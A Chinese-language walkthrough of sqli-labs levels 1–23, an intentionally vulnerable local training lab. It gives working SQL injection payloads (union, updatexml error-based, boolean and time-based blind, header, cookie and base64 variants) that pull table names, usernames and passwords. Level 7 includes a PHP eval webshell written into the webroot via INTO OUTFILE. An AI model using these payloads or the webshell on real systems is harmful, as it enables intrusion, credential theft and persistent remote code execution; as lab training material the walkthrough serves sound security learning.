Sqli-labs-master超详细通关教程(1-23关|基础篇)

这篇具有很好参考价值的文章主要介绍了Sqli-labs-master超详细通关教程(1-23关|基础篇)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一到四关主要是参数被包装的问题。一般用于尝试的语句

Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23

and1=2--+

'and1=2--+

"and1=2--+

)and1=2--+

')and1=2--+

")and1=2--+

"))and1=2--+

图中显示的sql语句是我为了方便理解,修改了源代码显示出的

第一关:

?id =1 and 1=2

页面正常,考虑是否有字符注入,先加单引号

Sqli-labs-master超详细通关教程(1-23关|基础篇)

可以看到提示,存在' '包装,我们加上--+

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' --+

页面正常,可以判断存在单引号的注入问题。

接下来order by猜解字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 order by 4--+

当字段到4是回显错误,说明一共有3个字段。然后显示可显字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3--+

Sqli-labs-master超详细通关教程(1-23关|基础篇)

可显字段为2和3.然后查找数据库

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,database(),3--+

Sqli-labs-master超详细通关教程(1-23关|基础篇)

之后就简单了,常规流程爆数据。

补充一点点小知识,方便理解sql语句

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

查询表名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询列名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+(不加and table_name='users'会显示所有表的列名,不利于查找我们想要的列名)

查询数据:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+(这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码,自己对比一下就知道了)

第二关

第二关为数字类型,直接加 and 1=2,就可以看到页面显示错误,后面流程跟第一关一样

第三关

直接加 and 1=2 ,界面显示正常。加 ' 以后页面错误

Sqli-labs-master超详细通关教程(1-23关|基础篇)

看错误提示,应该加 ') ,可以看下源码

Sqli-labs-master超详细通关教程(1-23关|基础篇)

?id=1') and 1=2 --+ 页面错误

第四关

这里我们输入' '' ') '') 等等都不对,然后尝试",这里是双引号,不是两个单引号,页面错误

Sqli-labs-master超详细通关教程(1-23关|基础篇)

存在"" 和 ) 的包装

?id=1") and 1=2 --+

第五关

根据提示输入?id=1 后,页面显示如下

Sqli-labs-master超详细通关教程(1-23关|基础篇)

这里是一个新的类型,前1-4关是有回显的,第5关明显没有回显。这里我选用updatexml报错注入。当然还有其他注入方式,这里就不说了。

查询数据库:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

Sqli-labs-master超详细通关教程(1-23关|基础篇)

这里的0x7e就是~,所以数据库名就是 security

爆表:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

查询users表的列名:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

查询username:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

第六关

第六关跟第五关的区别就是 对参数id 做了 " "处理

http://127.0.0.1:8080/sqli-labs-master/Less-6/?id=1"

Sqli-labs-master超详细通关教程(1-23关|基础篇)

所以只需要把第五关的' 改成 " 就可以了

第七关

第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。

http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=1')) and 1=2 --+

这里是((''))包装

我是知识点:

load_file()读取文件

前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL

into outfile()/dumpfile()

其中dumpfile()只能读出一行数据,适用于二进制文件

写入文件:http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=-1')) union select 1,database(),3 into outfile 'E:\zjt\phpstudy2018\PHPTutorial\WWW\sqli-labs-master\Less-7\aleilei.php'--+

这里的文件是在执行语句后创建的,在后续如果要写入其他webshell,需要删除掉改文件或者建新的文件

Sqli-labs-master超详细通关教程(1-23关|基础篇)

或者直接写入木马

union select 1,2,'<?php @eval($_post[“mima”])?>'

然后用菜刀等 webshell 管理工具连接即可,这里不演示此过程了(因为我自己也没试过)

---------------------------------------------------------------

第八关

输入http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'页面异常

http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'--+页面正常,证明有''包装。

但是没有报错提示,看源码

Sqli-labs-master超详细通关教程(1-23关|基础篇)

mysql的报错语句被注释掉了,这里我们不能用报错注入了。

先判断数据库名长度:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+ 页面正常显示,说明长度为8

判断数据库名第一位是否大于‘a’:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and left(database(),1)>'a'--+ 然后b.c.d一直到s页面报错说明第一位为s

然后判断前两位是否大于'sa':http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and left(database(),2)>'sa'--+

以此类推.......可以使用二分法提高效率

然后猜解表名(ascii)

第一个表的第一个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+

第一个表的第二个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+

第二个表的第一个字符:http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+

继续猜解指定表下的列名(regexp注入)

users表下的列名http://127.0.0.1:8080/sqli-labs-master/Less-8/?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 猜users表下是否存在有us[a-z]]样式的列名

这三种盲注方法根据个人喜好都能用

第九关

Sqli-labs-master超详细通关教程(1-23关|基础篇)

看标题,应该是让我们用时间盲注,并且还有单引号对参数进行包装

进行时间盲注时,个人建议返回时间稍微长点,时间太短的话不好判断时语句返回时间还是因为网络问题。猜测正确则页面快速反应,若猜解错误,则按规定时间返回,本次语句时间为10s

猜数据库名第一位:http://127.0.0.1:8080/sqli-labs-master/less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(10))--+

猜表名第一位:http://127.0.0.1:8080/sqli-labs-master/less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(10))--+

下面的自己尝试就好,大同小异

第十关

偷懒点看标题就知道是双引号处理,剩下的跟第九关一样

Sqli-labs-master超详细通关教程(1-23关|基础篇)

第十一关

第十一关开始我们就要进行post注入了,这里建议安装firefox的插件hackbar或者使用burp suit抓包工具。

照例先判断注入点,Username输入admin',报错,admin'# ,页面正常。说明有' '对参数包装

我们用burp抓一下包

Sqli-labs-master超详细通关教程(1-23关|基础篇)

发送到重发器后进行sql注入,流程与get提交是一样的,先进行字段猜解

Sqli-labs-master超详细通关教程(1-23关|基础篇)

查看可显字段

Sqli-labs-master超详细通关教程(1-23关|基础篇)

开始爆数据

Sqli-labs-master超详细通关教程(1-23关|基础篇)

用火狐浏览器也是一样的流程

Sqli-labs-master超详细通关教程(1-23关|基础篇)

 -----------------------------------------------------------

第十二关

跟第十一关的区别就是采用了双引号加括号包装参数,admin")#

第十三关

本关用 ') 对Username和 Password进行处理,但是没有显示登录信息,只显示是否登录成功。

没有回显所以用报错注入。抓包后,注入

Sqli-labs-master超详细通关教程(1-23关|基础篇)

uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' ),0x7e),1)#&passwd=admin&submit=Submit

用上述语句直接扫描表名时,会有如下提示

Sqli-labs-master超详细通关教程(1-23关|基础篇)

因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了

uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#&passwd=admin&submit=Submit

第十四关

用双引号对参数进行了包装

第十五关

用单引号对参数处理,但是没有报错显示。用延时注入或者ascii都行,第八关和第九关写的很清楚了

第十六关

uname=admin")#&passwd=admin&submit=Submit,同样跟前一关一样,错误提示被注释了

第十七关

看标题以及关卡的页面提示,可以看出是让我们对密码进行修改。

uname=admin&passwd=admin'#&submit=Submit

Sqli-labs-master超详细通关教程(1-23关|基础篇)

这里在passwd处进行注入,虽然在一开始的select中有username,但我们不能在username处进行注入。

Sqli-labs-master超详细通关教程(1-23关|基础篇)

从index.php中可以看到,uname有对应一个叫check_input()的方法,这个方法中有一个 mysql_real_escape_string(),这个函数是专门预防数据库攻击的,具体的可以自行百度。

第十八关

Sqli-labs-master超详细通关教程(1-23关|基础篇)

这里可看到我们的账号密码都进行了处理,以此来预防数据库攻击。Sqli-labs-master超详细通关教程(1-23关|基础篇)

User-Agent: 浏览器表明自己的身份(是哪种浏览器)。这里我们抓包后从User-Agent处进行注入

User-Agent: ' and updatexml(1,concat(0x7e,(select database())),1) and '1' ='1

这里要注意语句的闭合

第十九关

Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中。

从Referer处注入:

Referer:'and updatexml(1,concat(0x7e,(select database())),1)and '1'= '1

第二十关

抓包

Sqli-labs-master超详细通关教程(1-23关|基础篇)

这关考的是cookie注入(直接登录时抓包是抓不到cookie的,源码中可以看到我们的cookie是从uname中获取,刷新后才会执行select。同样的这关也对账号密码进行了处理)

Cookie: uname=admin' and 1=1 order by 4 #

Cookie: uname=admin' and 1=2 union select 1,2,3 #

Cookie: uname=admin' and 1=2 union select database(),2,3 #

后续就不说了,用其他注入方式也可

-------------------------------

第二十一关

本关对uname进行了base64加密

Sqli-labs-master超详细通关教程(1-23关|基础篇)

我们抓包后用burp自带的解码器进行加解密即可

Sqli-labs-master超详细通关教程(1-23关|基础篇)

Decode as:解密 Encode as :加密

Sqli-labs-master超详细通关教程(1-23关|基础篇)

Sqli-labs-master超详细通关教程(1-23关|基础篇)

第二十二关

"uname"双引号处理,其余的跟前两关一样

第二十三关

第二十三用单引号对id进行了处理,但是本关对字符进行了过滤

Sqli-labs-master超详细通关教程(1-23关|基础篇)

所以我们要手动进行引号的闭合。

注入语句:http://127.0.0.1:8080/sqli-labs-master/Less-23/?id=1'and 1=2 union select 1,database(),'3

sql语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

我们注入以后执行的语句相当于下面,一个'用于闭合1,第二'用于闭合后面的。

$sql="SELECT * FROM users WHERE id='1'and 1=2 union select 1,database(),'3' LIMIT 0,1"文章来源地址https://www.toymoban.com/news/detail-426536.html

到了这里,关于Sqli-labs-master超详细通关教程(1-23关|基础篇)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Sqli-Labs 通关笔记

    创建网站时选择php版本为5.x 修改./sql-connections/db-creds.inc 修改数据库用户名和密码,下面的数据库名不用管 任务目标:获取表名 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) sql查询语句为 SELECT * FROM users WHERE id=\\\'$id\\\' LIMIT 0,1 输入 ?id=-1\\\' ,报错语句为

    2023年04月20日
    浏览(44)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(48)
  • sqli-labs基础篇【第七关】详细解析

      从下面的注入测试来看,只有两种输出结果   如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax” 查看是否存在双引号注入 正常输出,说明有执行,存在双引号注入 查看是否存在闭合特殊符号 推测注入点:双引号+两个闭合

    2023年04月15日
    浏览(42)
  • sqli-labs关卡18(基于http头部报错盲注)通关思路

    此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!! 1、什么是http请求头 2、为什么http头部可以进行注入 这里我只演示sql注入常见的请求头内容。 1、user-agent User-Agent 首部包含了一个特征

    2024年02月05日
    浏览(43)
  • Upload-labs 1~15 通关详细教程

    upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。 靶场地址Upload-labs。 上传一个php的一句话木马文件 文件内容如下: 上传php一句木马文件,这

    2024年02月09日
    浏览(75)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(49)
  • SQL-Labs靶场“11-15”关通关教程

    点击跳转: SQL-Labs靶场“1-5”关通关教程 SQL-Labs靶场“6-10”关通关教程 请求方式 注入类型 拼接方式 POST 联合、报错、布尔盲注、延时盲注 username=‘x’ 看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点: 在输入框中输入单引号: 我们可以看到产生了报错信

    2024年02月19日
    浏览(71)
  • CTF 三大测试靶场搭建:DVWA、SQLi-LABS、upload-labs 靶场部署教程(VM + CentOS 7 + Docker)

    目录 前言 靶场介绍 DVWA SQLi-LABS upload-labs 靶场搭建 CentOS 7 虚拟环境准备 靶场环境部署 系统环境配置 Docker 环境配置 下载 Docker 配置 Docker 镜像源 启动 docker  靶场配置 靶场镜像抓取 创建并运行 docker 容器 靶场的访问  靶场的初始化 DVWA 靶场重置 SQLi-LABS 靶场重置 upload-labs 靶

    2024年01月24日
    浏览(50)
  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(49)
  • Background-1 基础知识 sqli-Labs Less1-Less-4

    在第一关我们可以尝试增加一个单引号进行尝试 错误显示如下: 推测语法的结构 上述错误中我们可以推测由于增加了 1’ 导致语法变成 \\\'1\\\'\\\' limit 0,1 ,是由于多加了一个 \\\' 造成的后果。 下面是尝试解决的方法 尝试 \\\' or 1=1--+ 把但单引号给闭合 此时的语句构成如下代码段: 接下

    2024年02月08日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包